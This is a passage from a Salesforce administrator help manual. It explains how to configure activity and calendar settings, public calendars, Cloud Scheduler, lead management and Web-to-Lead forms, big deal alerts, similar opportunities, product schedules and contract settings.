Available in all Editions except Database.com. Select this checkbox to display a shortcut link to a users last used calendar
view in the sidebar: . In the sidebar, the calendar shortcut appears above the Recent Items component. For more
information on the sidebar, see About the Sidebar on page 60.
Enable Creation of Recurring Events
Available in all Editions except Database.com. Select this checkbox to let users create events that repeat at specified
intervals.

1331

Customize

Customizing Activity Settings

Enable Creation of Recurring Tasks


Available in all Editions except Database.com. Select this checkbox to let users create tasks that repeat at specified
intervals. If you disable this setting, users can still edit the interval of an existing recurring task, but cannot create new
recurring tasks.
Enable Activity Reminders
Available in all Editions except Database.com. Select this checkbox to enable activity reminders for your organization.
Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an
upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged
in to Salesforce. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur
since the last time the user logged out are shown in the reminder window.
If you disable this feature, users wont receive reminders for tasks and events that have reminders set. In addition, users
will no longer be able to add new reminders, as well as configure default reminders. Existing settings and reminders for
tasks and events arent retained if you later enable reminders again. If you do this, users receive reminders for only the
tasks and events that have been created or updated since you enabled the setting again.
For more information on reminders, see Setting Reminders on Activities on page 131.
Enable Email Tracking
Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. By default, Salesforce
tracks outbound HTML emails if your organization uses HTML email templates. You can disable this feature to control
email tracking. If you disable email tracking, Salesforce no longer stores email tracking information for your organization.
However, the HTML Email Status related list remains on page layouts and email tracking reports remain on the Reports
tab.
Show Event Details on Multi-User Calendar View
Available in Professional, Enterprise, Unlimited, and Developer Editions. If your organization-wide calendar sharing
includes Show Details, or youre the manager of another user in the role hierarchy, calendar views typically display the
details of users events when you hover your mouse over the busy areas of the calendar. When you select the Show
Event Details on Multi-User Calendar View checkbox, event details display on-screen rather than in
mouse-over text. This setting applies to daily, weekly, and monthly calendar views for all users.
Note: Enabling this setting does not override calendar sharing. If a users calendar details are not visible to other
users because of calendar sharing restrictions or the users position in the role hierarchy, this setting respects that
lack of visibility.
Enable Multiday Events
Available and enabled by default in all Editions except Database.com. When this checkbox is selected, Salesforce supports
events that end more than one day (24 hours) after they start. For information on creating multiday events, see Creating
Events on page 152. For information on creating multiday events using the API, see the Force.com Web Services API
Developer's Guide. You can create multiday events using the API versions 13.0 and later.
Show Custom Logo in Meeting Requests
Available in all Editions except Database.com. Select this checkbox to upload a custom logo that displays in meeting
request emails and on the meetings Web page that invitees see when you either invite them to an event or request a
meeting with them. You can select only logos that have been uploaded to the Documents tab and made externally
available. For information about size limitations and supported file formats, see our logo guidelines.

1332

Customize

Managing Public and Resource Calendars

Show Requested Meetings in the Calendar Section on the Home Tab


Available in all Editions except Database.com. Select this checkbox to display the Requested Meetings subtab in the
Calendar on the Home tab. This subtab lists the meetings a user has requested but not confirmed. Disabling this feature
also removes the New Meeting Request button from the Calendar on the Home tab.
Allow Users to Relate Multiple Contacts to Tasks
Available in all Editions except Database.com. Select this checkbox to enable the Shared Activities feature. If your
organization has the Shared Activities feature enabled, you can relate non-recurring and non-group tasks to as many as
10 contacts, one of which you assign as the primary contact; all others are secondary contacts.

See Also:
Customizing User Interface Settings

Managing Public and Resource Calendars


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage public calendars:

Customize Application

To manage resource calendars:

Customize Application

In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources.
Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases,
or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can
set up an events calendar to show upcoming marketing events to the entire sales and marketing organization.
With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead
projector.
To display a list of the currently-defined public and resource calendars, click Your Name > Setup > Customize > Activities
> Public Calendars & Resources.
From the list page, you can perform the following tasks:

To view the properties of a calendar, click its name in the list.


To edit calendar properties, click Edit.
To create a new public calendar or resource:
1.
2.
3.
4.

Click New.
Give the calendar or resource a name, and check Active.
Click Save.
To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with
whom you want to share the calendar.
5. In Calendar Access, specify how to share the calendar by selecting one of the following:

1333

Customize

Deleting a Public Calendar

Sharing Model

Results

Hide Details

Others can see whether given times are available, but


cannot see any other information about the nature of events
in the calendar.

Hide Details and Add Events

Others can see whether given times are available, but


cannot see details of events. Other users can insert events
in the calendar.

Show Details

Others can see detailed information about events in the


calendar.

Show Details and Add Events

Others can see detailed information about events in the


calendar and can insert events in the calendar.

Full Access

Others can see detailed information about events in the


calendar, insert events in the calendar, and edit existing
events in the calendar.

Note: Users need the appropriate Read permission to see the related record of any activity. For example, an event
invitee who does not have Read permission on cases will not be able to view the case associated with the event.

See Also:
Deleting a Public Calendar
Creating Activities
Administrator tip sheet: Setting Up Multi-Person Calendaring

Deleting a Public Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete a public calendar:

Customize Application

1. Click Your Name > Setup > Customize > Activities > Public Calendars & Resources.
2. Click Del next to the name of the calendar you want to delete.

See Also:
Managing Public and Resource Calendars

1334

Customize

Setting Up Cloud Scheduler

Setting Up Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To customize page layouts and activity settings:

Customize Application

The New Meeting Request button is enabled by default on page layouts, which lets your users use Cloud Scheduler to request
meetings with customers. If enabled, the button displays on the Open Activities related list on the detail pages of contacts,
leads, and person accounts.
Use the following methods alone or in combination to control whether the New Meeting Request button displays on detail
page layouts. Note that the button is also available in the Calendar section on the Home tab when the Requested Meetings
subtab is enabled, and isn't affected by these add or remove actions.
Cloud Scheduler Quick Setup
To add or remove the New Meeting Request button on multiple page layouts:
1. Click Your Name > Setup > Customize > Activities > Cloud Scheduler.
2. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name
> Setup > Customize > User Interface.
3. Click Add Button to add the New Meeting Request button to the Open Activities related list on all eligible page layouts.
Eligible layouts have fewer than four buttons in the Open Activities related list (to prevent unintended crowding). Click
Remove Button to remove the button from all current page layouts.
Note: If you want finer control over whether the button displays on individual page layouts, consider using the manual
setup method instead of or in combination with the quick method.

Cloud Scheduler Manual Setup


To add or remove the New Meeting Request button on individual page layouts:
1. If you're adding the button and the new user interface theme isn't already enabled, you must enable it from Your Name
> Setup > Customize > User Interface. See Customizing User Interface Settings.
Users can't request meetings with customers if the new user interface theme is disabled.
2. Add or remove the New Meeting Request button to the Open Activities related list on the page layouts you want.

Contacts
Leads
Person Accounts (if enabled)
For users to request a meeting with a person account, you also need to add the Email field to the page layout, which
is located at Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts.

See Customizing Related Lists for detailed instructions.

1335

Customize

Setting Up Cloud Scheduler

Note: If you have multiple page layouts and want to affect all or most of them, consider using the quick setup method
instead of or in combination with the manual method.

Cloud Scheduler Optional Settings


You can optionally enable these settings to make Cloud Scheduler even more useful to your users.

Ask your users to install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes.
We recommend users sync their calendar events between Salesforce and Outlook or Lotus Notes so they can propose
meeting times based on their availability displayed in their Salesforce calendar.

Add your company logo to the meeting requests sent to invitees. See Customizing Activity Settings.
Show requested meetings in the Calendar section on the Home tab.
See Customizing Activity Settings. The Requested Meetings subtab displays by default. If you remove the New Meeting
Request button from all page layouts, we recommend you also remove the Requested Meetings subtab because your users
won't be able to request meetings.

Enable your Partner users to request meetings using Cloud Scheduler.

User Permission Requirements


Users must have the Send Email and Edit Events permissions to request meetings. These permissions are automatically
selected in most standard profiles.
If users don't have the required permissions, they:

Won't see the New Meeting Request button on the Open Activities related list.
Can't edit, reschedule, or cancel requested meetings.

Field-Level Security Requirements


In most cases, you don't need to change field-level security settings to allow users to request meetings. However, if your
organization has changed the default field-level security settings for certain profiles, refer to the following table to make sure
those changes don't prevent users from requesting meetings.
Note: In permission sets and the enhanced profile user interface, the setting labels differ from those in the original
profile user interface and in field-level security pages for customizing fields.

Object

Field

Required Field-Level Security Settings

Description

Permission Sets and Original Profile


Enhanced Profile
User Interface and
User Interface
Customize Field
Pages
Event

Name

Read and Edit

Visible (with
Read-Only not

selected)

If this field isn't readable, the New Meeting


Request button doesn't display on the Open
Activities related list, and an insufficient
privileges message displays when trying to
change (confirm or reschedule) or view a
requested meeting.
If this field is readable but not editable, the
New Meeting Request button doesn't

1336

Leads

Setting Up Lead Management

Object

Field

Required Field-Level Security Settings

Description

Permission Sets and Original Profile


Enhanced Profile
User Interface and
User Interface
Customize Field
Pages
display on the Open Activities related list,
and requested meetings open as read-only
(preventing users from confirming or
rescheduling the meeting).
Description

Read

Visible

By default, when a requested meeting is


confirmed, the last message sent from the
meeting organizer displays in the
Description field for the new event.
However, if field-level security for the
Description field isn't readable, then the
last message doesn't display in the
Description field even if field-level
security is later set to readable.

See Also:
About Cloud Scheduler

LEADS
Setting Up Lead Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company.
Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful
lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their
marketing investment.
To get started using lead management, click Your Name > Setup > Customize > Leads:

Click Fields to create custom lead fields that track information specific to your company; see About Custom Fields on
page 1074. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted
when users convert leads; see Mapping Custom Lead Fields on page 1339. Edit the Lead Status picklist to choose the
default status for new and converted leads; see Updating Picklists on page 1060.

1337

Customize

Customizing Lead Settings

Click Settings to specify your default lead settings. See Customizing Lead Settings on page 1338.
Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules
on page 1305.
Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 1342.

To create sales queues for leads or custom objects, click Your Name > Setup > Manage Users > Queues. See Managing
Queues on page 595.

Customizing Lead Settings


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change lead settings:

Customize Application

To optimize the lead management features, you must edit the lead settings to specify certain defaults.
1. Click Your Name > Setup > Customize > Leads > Settings.
2. Click Edit to customize the following defaults:
Field

Description

Default Lead Owner

The user or queue to which leads will be assigned if the active


assignment rule fails to locate an owner. This applies to leads
captured online and leads that a user manually creates or
edits with the auto-assign checkbox enabled.

Notify Default Lead Owner

Checkbox to indicate whether Salesforce sends a notification


to the default lead owner when assigning a lead to him or
her. Default Lead Owner selected must be a user.

Record Type Setting

If a user creating a new lead applies assignment rules, this


setting indicates which record type to assign to the new
record. If you want new leads to keep the creators record
type, check Keep the existing record type. If you
want to overwrite the creators record type when applying
assignment rules, check Override the existing
record type with the assignees default
record type.

Enable Validation and Triggers from Lead


Convert

When selected, enables the following operations when you


convert leads:
Enforcement of universally required custom fields.
Enforcement of validation rules. Note that if validation
rules exist for activities and you create an activity during
lead conversion, the lead converts but a task is not
created.

1338

Customize

Mapping Custom Lead Fields

Field

Description

Workflow actions on leads such as field updates,


automatic task assignments, and transfers. Note that
existing time-based workflow actions on leads do not get
triggered as part of lead conversion.
Execution of Apex before triggers that fire before the
insertion of accounts, contacts, or opportunities. In
addition, execution of Apex before triggers that fire
before the update of accounts or contacts.
Cross-object field updates on accounts and opportunities
created from the lead conversion.
Note: When Enable Validation and
Triggers from Lead Convert is selected, if
the lead conversion creates an opportunity and the
opportunity has Apex before triggers associated with
it, the triggers run immediately after the opportunity
is created, before the opportunity contact role is
created.

Do Not Change Lead Status Values to New


Owner's Record Type on Lead Conversion

If your organization uses record types, you can create a lead


process that allows you to provide different Lead Status
values for different record types. If Do Not Change Lead
Status Values to New Owner's Record Type on
Lead Conversion is selected, the Lead Status does

not change to the new owner's default value during lead


conversion. If this setting it is not selected, the Lead
Status may change during lead conversion if the new
owner's record type has a different default value for Lead
Status.

Mapping Custom Lead Fields


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To map lead fields:

Customize Application

When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact,
and opportunity fields (see Lead Conversion Mapping on page 2893). If your organization has custom lead fields, you can specify
how you want that custom information converted into custom account, contact, or opportunity fields.

1339

Customize

Capturing Web Leads

To specify the mapping for custom lead fields:


1. Select Your Name > Setup > Customize > Leads > Fields > Map Lead Fields.
2. For each custom lead field, choose a custom account, contact, or opportunity field into which you want the information
inserted when you convert a lead.
3. Click Save.

Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other
numeric fields or long text area fields to other long text area fields.
Some exceptions are:
You can map between text and picklist fields. However, your data may become truncated if the mapped text field is
not large enough to hold the entire lead picklist value.
You can map fields of type Text or Text Area to long text area fields
You can map auto-number fields to fields of type Text, Text Area, or Picklist.
Do not map custom formula fields to other formula fields or any other type of field.
Roll-up summary fields are not available for mapping lead fields of converted leads.

Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of
exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places,
map it to another custom currency field with a length of 3 and 2 decimal places.
Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and
opportunity.
Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.

See Also:
Converting Leads

Capturing Web Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Lead:

Customize Application

With Web-to-Lead, you can gather information from your companys website and automatically generate up to 500 new leads
a day.
Your company may already have a registration or other type of page where users enter their contact information. You may also
want to create a jump page where prospects respond to a campaign. With a little extra HTML code, you can redirect that
information to Salesforce to create new leads.

1340

Customize

Preparing to Set Up Web-to-Lead

See Preparing to Set Up Web-to-Lead for the steps to prepare for setting up Web-to-Lead.
See Setting Up Web-to-Lead for the steps to set up Web-to-Lead.

See Also:
Managing Assignment Rules
Managing Queues
Customizing Lead Settings
Assigning Leads
Displaying and Editing Leads
Creating Leads
Converting Leads
Setting Up Auto-Response Rules

Preparing to Set Up Web-to-Lead


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed


To set up Web-to-Lead:

Customize Application

Before setting up Web-to-Lead, you need to:

Create custom lead fields, if needed, and specify how theyll map to custom account, contact, and opportunity fields during
lead conversion. See About Custom Fields on page 1074 and Mapping Custom Lead Fields on page 1339.
Edit the Lead Status picklist to set the default status for new and converted leads. See Updating Picklists on page 1060.
Create public email templates for the automated notification email that will be sent to prospects upon submission of each
web lead. If you plan to set up email response rules to use different email templates depending on the information submitted,
create one default template to send when none of your response rules apply. (see Managing Email Templates on page 472
and Setting Up Auto-Response Rules on page 1313).
Note: Auto-response rules are not available in Group Edition.

Create lead queues if you wish to assign incoming leads to queues (see Managing Queues on page 595).
Customize the Lead Settings to select the default owner of leads that fail to meet the criteria in your assignment rule (see
Customizing Lead Settings on page 1338).

1341

Customize

Setting Up Web-to-Lead

Create an active lead assignment rule to determine how web-generated leads are assigned to multiple users or queues (see
Managing Assignment Rules on page 1305). If you do not set an active assignment rule, all web-generated leads are assigned
to the default owner you specify in the Lead Settings.

See Also:
Setting Up Web-to-Lead
Capturing Web Leads

Setting Up Web-to-Lead
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Lead:

Customize Application

To set up Web-to-Lead:
1. Click Your Name > Setup > Customize > Leads > Web-to-Lead.
2. Click Edit to enable or modify the following Web-to-Lead settings:
Web-to-Lead Setting

Description

Web-to-Lead Enabled

Enables Web-to-Lead.

Default Lead Creator

The user who will be listed as the creator of online leads and
who will appear as the sender of email responses. This user
must have the System Administrator profile or the Modify
All Data and Send Email permissions.

Default Response Template

The default response template to use for the email response


that is automatically sent to prospects when they submit an
online lead.
If you set up response rules to use different email templates
based on the information submitted, the default response
template is used when no auto-response rules apply. Leave
this option blank if you do not wish to send emails when no
response rules apply. This template must be marked as
Available for Use.
Note: Auto-response rules are not available in
Group Edition.

1342

Customize

Setting Up Web-to-Lead

3. Click Save.
4. To create a Web-to-Lead form, click Create Web-to-Lead Form on the Web-to-Lead Setup page.
5. Select fields to include on your Web-to-Lead form. Use the Add and Remove arrows to move fields between the Available
Fields list and the Selected Fields list, and use the Up and Down arrows to change the order of the fields on your form.

Select the Campaign field (and optionally, the Campaign Member Status field) if you are using Web-to-Lead as
part of a campaign.
For organizations using multiple currencies, add the Lead Currency field if you add currency amount fields, otherwise
all amounts will be captured in your corporate currency.
Use a custom multi-select picklist to allow potential customers to express interest in several products.
For organizations using lead record types, select the Lead Record Type field if you want users to select a record type
for Web-generated leads.

6. If your organization uses the Translation Workbench or has renamed tabs, select the language for the form labels displayed
on your Web-to-Lead form. The source of your Web-to-Lead form is always in your personal language.
7. Specify the complete URL to which users should be directed after they submit their informationfor example, your
company's home page for a thank you pageand click Generate.
8. Copy the generated HTML code and provide it to your company's webmaster to incorporate into your website.
9. Click Finished.
To test the Web-to-Lead form, add the line <input type="hidden" name="debug" value="1"> to your code. This
line redirects you to a debugging page when you submit the form. Remove this line before releasing the Web-to-Lead page
to your website.
Leads generated from your website are initially marked with the default status specified by the Lead Status picklist. For
Web leads generated as part of a campaign, the member status of the new leads is set to the Member Status value specified
in the form, or to the default member status if the Member Status field is not included in the form.
In addition, new leads are marked as Unread, and are changed to Read when viewed or edited by the lead owner. Users
can select the My Unread Leads list view to quickly locate their new leads.
Note: The format for date and currency fields captured online is taken from your organizations default settings Default Locale and Currency Locale.
The daily limit for Web-to-Lead requests is 500. If your organization exceeds its daily Web-to-Lead limit, the Default
Lead Creator (specified in the Web-to-Lead setup page) receives an email containing the additional lead information.
See How many leads can we capture from our website? on page 3646 for additional information on Web-to-Lead limits.
If a new lead cannot be generated due to errors in your Web-to-Lead setup, Customer Support is notified of the
problem so that we can help you correct it.
Salesforce runs field validation rules before creating records submitted via Web-to-Lead and only creates records that
have valid values.
All universally required fields must have a value before a record can be created via Web-to-Lead.
Salesforce doesnt support rich text area (RTA) fields on Web-to-Lead forms. If you use RTA fields on your forms,
any information entered in them is saved as plain text when the lead is created.

See Also:
Preparing to Set Up Web-to-Lead
Capturing Web Leads

1343

Sales

Restricting Price and Quantity Editing on Opportunity Products

SALES
Restricting Price and Quantity Editing on Opportunity
Products
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restrict price and unit editing:

Customize Application

To ensure that opportunity products use the price from the associated price book, remove the Sales Price field from the
opportunity products page layout.
To use a quantity of one for all opportunity products, remove the Quantity field from the opportunity products page layout.
Note: If you cannot remove these fields from the page layout, contact salesforce.com to enable this option.

Customizing Big Deal Alerts


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To activate big deal alerts:

Customize Application

Your organization can use alerts that automatically send an email notification for opportunities with large amounts. Customize
this alert to send an email when an opportunity reaches a threshold. Your threshold consists of an opportunity amount and
probability. For example, you may want to send an email to your team that an opportunity of $500,000 has reached a probability
of 90%.

See Also:
Activating Big Deal Alerts

1344

Customize

Activating Big Deal Alerts

Activating Big Deal Alerts


You can activate one opportunity alert for your organization. The alert message resembles the opportunity detail page including
the page layout and language from a selected user. Before you begin, you may want to decide which user has the page layout
and language settings that you would like included in all alerts. This user must also have the View All Data permission.
1. Click Your Name > Setup > Customize > Opportunities > Big Deal Alert.
2. Enter a name for the alert.
3. Enter a Trigger Probability and Trigger Amount in the corporate currency. An opportunity alert is triggered for
opportunities with this probability and amount or greater. The alert triggers only for those opportunities that meet both
the trigger probability and trigger amount threshold settings.
Note: An opportunity can trigger a big deal alert even if it is in a currency that is different from the corporate
currency. The Amount on an opportunity is converted to corporate currency and compared to the Trigger
Amount. If you are using advanced currency management, dated exchange rates will be used.
4.
5.
6.
7.

Check the Active box if you would like to activate the new alert immediately after you save.
Enter the From Email Name.
Enter the From Email Address.
Select a user that provides the appropriate opportunity page layout, language, and currency settings for the content of the
emails. This user must have the View All Data permission.
For organizations that use multiple currencies, all alerts include the amount in the currency of the opportunity. If the
opportunity currency is different than the currency of the user selected in this step, both currencies are included in the
email.
Enter a list of email recipients separated by commas. You can also include CC: and BCC: recipients but all must be valid
email addresses.
The BCC: field is not available if your organization has enabled compliance BCC emails.

8. Check the Notify Opportunity Owner box if you would like to include the owner of the opportunity in the alert
emails.
9. Click Save.
Note: An opportunity alert sends a notification the first time an opportunity reaches the threshold. So, an opportunity
that reaches the threshold with 90% probability will not trigger additional alerts if the probability subsequently goes
higher. However, an opportunity that already triggered an alert and then fell below the threshold can trigger a second
alert if it crosses that threshold again.
When working remotely in Connect Offline, you can make changes to opportunities that trigger alerts. These alert
messages will be sent when you update your data. For instructions on updating your data from Connect Offline, see
Logging in to Connect Offline on page 2801.

See Also:
Customizing Big Deal Alerts
Managing Multiple Currencies

1345

Customize

Enabling Opportunity Update Reminders

Enabling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable opportunity update reminders:

Customize Application OR Manage Users

To activate or deactivate opportunity update reminders:

Manage Users

Updated and accurate opportunities drive precise forecasts. Ensure that your opportunities are up to date by enabling managers
to schedule opportunity update remindersautomated opportunity reports that managers can customize for their teams. For
example, a manager can schedule a weekly report of all the opportunities for the current fiscal quarter owned by anyone on
the team and have the report distributed to everyone on the team.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Opportunities > Update Reminders.
Click Edit.
Select Enable Update Reminders for My Organization. Deselect it to disable the feature.
Optionally, select Automatically Activate Reminders for Users with Direct Reports to schedule
opportunity update reminders for all users who have direct reports.
Note: Partner and customer portal users assigned Executive roles are considered direct reports of their account
owners. If an account owner is activated to receive opportunity update reminders, partner and customer portal users
assigned as Executives to the account receive opportunity update reminders, even if they dont have access to the
opportunity. To avoid reminders being sent to these users, remove them from the Executive role.

5. Click Save.
6. Select the boxes next to the users you want to activate, then click Activate. Optionally, check the box in the column header
to select all currently displayed items. Activated users can schedule opportunity update reminders. Any user that has direct
reports can be activated. To deactivate users, select them and click Deactivate.

See Also:
Scheduling Opportunity Update Reminders

1346

Customize

Enabling and Configuring Similar Opportunities

Enabling and Configuring Similar Opportunities


Available in: Enterprise, Unlimited, Developer Editions

User Permissions Needed


To enable similar opportunities:

Customize Application

The Similar Opportunities feature allows users to find Closed/Won opportunities that match the attributes of an opportunity
they're currently viewing, and add them to the Similar Opportunities related list on that opportunity's record. Enable and
configure this feature so your users can quickly access information about past opportunities that may be helpful for the deals
they're currently working on. You can also modify the search criteria that Salesforce uses to identify similar opportunities and
the opportunity record fields that are displayed in the Similar Opportunities related list.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Opportunities > Similar Opportunities.
Click Edit.
Select Enable Similar Opportunities to add the Similar Opportunities related list to opportunity detail pages.
Select three to ten opportunity fields or related lists that you want Similar Opportunities searches to match against, and
then click Add. Use CTRL+click to select multiple items individually or SHIFT+click to select a range of items.
Note: A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the
specified attributes are matches. The more search criteria you select, the more similar opportunities will be identified
in a search.

5. Select up to 15 opportunity fields to display in the Similar Opportunities related list. The selected fields appear in the list
as columns, which you can arrange using the Top, Up, Down, and Bottom arrows.
Important: When deciding which opportunity fields to display, consider that users can see all of the information
that is displayed in a Similar Opportunities related list, even if the list includes records that aren't ordinarily
accessible because of sharing rules and permissions.
6. Click Save.
7. Add the Similar Opportunities related list to the opportunity page layout.

See Also:
Understanding Similar Opportunities Searches
Defining Similar Opportunities Search Criteria
Customizing Page Layouts with the Enhanced Page Layout Editor
Finding Similar Opportunities
Using Opportunities

1347

Customize

Understanding Similar Opportunities Searches

Understanding Similar Opportunities Searches


Available in: Enterprise, Unlimited, Developer Editions

A Similar Opportunities search finds Closed/Won opportunities that match attributes of the current opportunity.
When enabling Similar Opportunities, you select the attributes that Salesforce uses as search criteria for identifying similar
opportunities. You can select three to ten opportunity fields or related lists.
When users search for similar opportunities, Salesforce finds a maximum of 10,000 matching Closed/Won opportunities in
a 3 month periodstarting with the oldest records firstand displays up to 300 of the most relevant opportunities. A
Closed/Won opportunity's relevance is determined by the number of attributes that match the current opportunity.
A Similar Opportunities search is an OR search, so Closed/Won opportunities that contain any of the specified attributes are
matches. The more search criteria you select, the more similar opportunities will be identified in a search. If there are more
than 10,000 matching Closed/Won opportunities, some of the most recent records won't be included in the Similar
Opportunities related list, even if they are highly relevant.
Tip: The best way to ensure that Similar Opportunities searches find current matching records, especially if your
organization has a large number of Closed/Won opportunities, is to define the smallest set of search criteria possible.

See Also:
Enabling and Configuring Similar Opportunities
Defining Similar Opportunities Search Criteria

Defining Similar Opportunities Search Criteria


Available in: Enterprise, Unlimited, Developer Editions

If your organization uses the Similar Opportunities feature, you need to select the opportunity fields or related lists that are
used as search criteria.
You can use these standard fields and related lists.
Standard Fields

Standard Related Lists

Account Name

Competitors

Close Date

Contact Role

Lead Source

Partner

Opportunity Owner

Products

Primary Campaign Source

Sales Team

Private

1348

Customize

Prompting for Products on Opportunities

Standard Fields

Standard Related Lists

Probability (%)
Quantity
Type

You can also select any custom opportunity field, except those with these field types.

Auto-number
Currency
Formula
Picklist (multi-select)
Roll-up summary
Text (encrypted)
Text area

See Also:
Enabling and Configuring Similar Opportunities
Understanding Similar Opportunities Searches

Prompting for Products on Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable prompting for products:

Modify All Data

Customize Salesforce to prompt users to select a product when creating an opportunity. Enabling this option makes it easier
for users to add products while creating an opportunity.
1. Click Your Name > Setup > Customize > Opportunities > Settings.
2. Check Prompt users to add products to opportunities to have Salesforce prompt users to select a product
when creating an opportunity.
3. Click Save.
4. We recommend making the Amount field on the opportunity read only to ensure your opportunity amounts are driven
from the products on the opportunity. See Field-Level Security Overview on page 663.

1349

Customize

Automatically Activating Product Prices

Note: If enabled, replaces the Save button with a Save & Add Product button the opportunity creation page.

See Also:
Products, Price Books, and Schedules Overview

Automatically Activating Product Prices


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To auto-activate product prices:

Customize Application

When you deactivate a product, you may want all related prices for that product automatically de-activated as well. Likewise,
if you activate a product, you can have all the prices for that product automatically activated.
1. Click Your Name > Setup > Customize > Products > Settings.
2. Check When changing active flag on a product... to have Salesforce automatically change the active flag on
all related prices to whatever the active flag is on the related product.
Leave this field unchecked if you want related prices to remain the same status whenever users activate or deactivate a
product.
3. Click Save.

See Also:
Products, Price Books, and Schedules Overview

Using Product Families


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit product families:

Customize Application

Use the Product Family picklist to categorize your products. For example, if your company sells both hardware and software,
you can create two product families: Hardware and Software.

1350

Customize

Setting Up Product Schedules

If your organization has customizable forecasting, your users can have a different quota for hardware sales and software sales.
Users can also view forecasts for opportunities with hardware products separate from opportunities that include software
products. See Do I Have Customizable Forecasting? on page 2502.
To begin using product families:

Customize the Product Family picklist to include the different categories of products you sell. See Picklist Considerations
on page 1059.
For each product in your price books, edit the product and select the appropriate Product Family value. See Displaying
and Editing Products on page 2606.
If your organization has customizable forecasting, set a different quota for each product family for your users. See Setting
Quotas for Customizable Forecasting on page 514.
If your organization has customizable forecasting, consider changing your forecast settings to display a particular forecast
family value by default when your users click the Forecasts tab. See Defining Customizable Forecast Settings on page 1355.

See Also:
Setting Up Customizable Forecasting

Setting Up Product Schedules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up product schedules:

Customize Application
AND
Read, Create, Edit, and Delete on products
AND
Read, Create, Edit, and Delete on price books

Create default revenue and quantity schedules for products. In addition, administrators can enable schedule settings that allow
users to create schedules for individual products on opportunities.
Quantity Schedule
Outlines the dates, number of units (i.e., quantity), and number of installments for billing or shipping a product. Your
organization can decide exactly how to use quantity schedules.
Revenue Schedule
Outlines the dates, revenue amounts, and number of installments for billing or recognizing revenue from a product.
Your organization can decide exactly how to use revenue schedules.

1351

Customize

Enabling Schedules

Default Schedule
A schedule associated with a product in a price book. Administrators can establish a default quantity schedule, a default
revenue schedule, or both. Every time the product is added to an opportunity, the default schedules are used. On any
particular opportunity, users can override the default schedules.

See Also:
Administrator tip sheet: Tips & Hints for Products and Schedules

Enabling Schedules
Available in: Professional, Enterprise, Unlimited, and Developer Editions

To enable schedules for your organization:


1. Click Your Name > Setup > Customize > Products > Schedule Setup.
2. Select the appropriate checkboxes to enable quantity and revenue schedules for your organization. Note that disabling a
schedule type automatically deletes all existing schedule information from products.
For a definition of each schedule type, see Setting Up Product Schedules on page 1351.
3. For each schedule type you enable, select whether to automatically enable that schedule type for every product in your price
books. This option automatically selects the Quantity Scheduling Enabled or Revenue Scheduling Enabled
checkboxes on every product in your price books.
4. Click Save.
For greater control of schedules on a product-by-product basis, administrators can also determine which schedule types users
can establish for each product (see Creating and Editing Default Schedules on page 2611).
Note: Enabling or disabling schedules does not affect archived products. For information on archived products, see
Deleting Products and Price Books on page 2623.
You cannot disable both schedule types for your organization if schedules are referenced in Apex. For example, if Apex
references the schedule object (represented as OpportunityLineItemSchedule in the code), you can disable one
of the schedule types, but not both. For more information, see Apex Code Overview on page 1994.

1352

Customize

Customizing Contract Settings

Customizing Contract Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change contract settings:

Customize Application

Customize Salesforce to handle your internal contract management process. Enable or disable contract expiration notices and
auto-calculation of contract end dates.
Enabling Contract Expiration Notices
Set an option to automatically send email notifications to account and contract owners when a contract expires. To activate
these expiration notices:
1. Click Your Name > Setup > Customize > Contracts > Settings.
2. Select the Send contract expiration notice emails... option.
3. Click Save.
Remove the check on this option and click Save to stop sending expiration notices.
Disabling Auto-Calculation of Contract End Dates
Your contracts may not have end dates or you may prefer to have users enter them manually. If so, disable auto-calculation of
contract end dates:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Contracts > Settings.
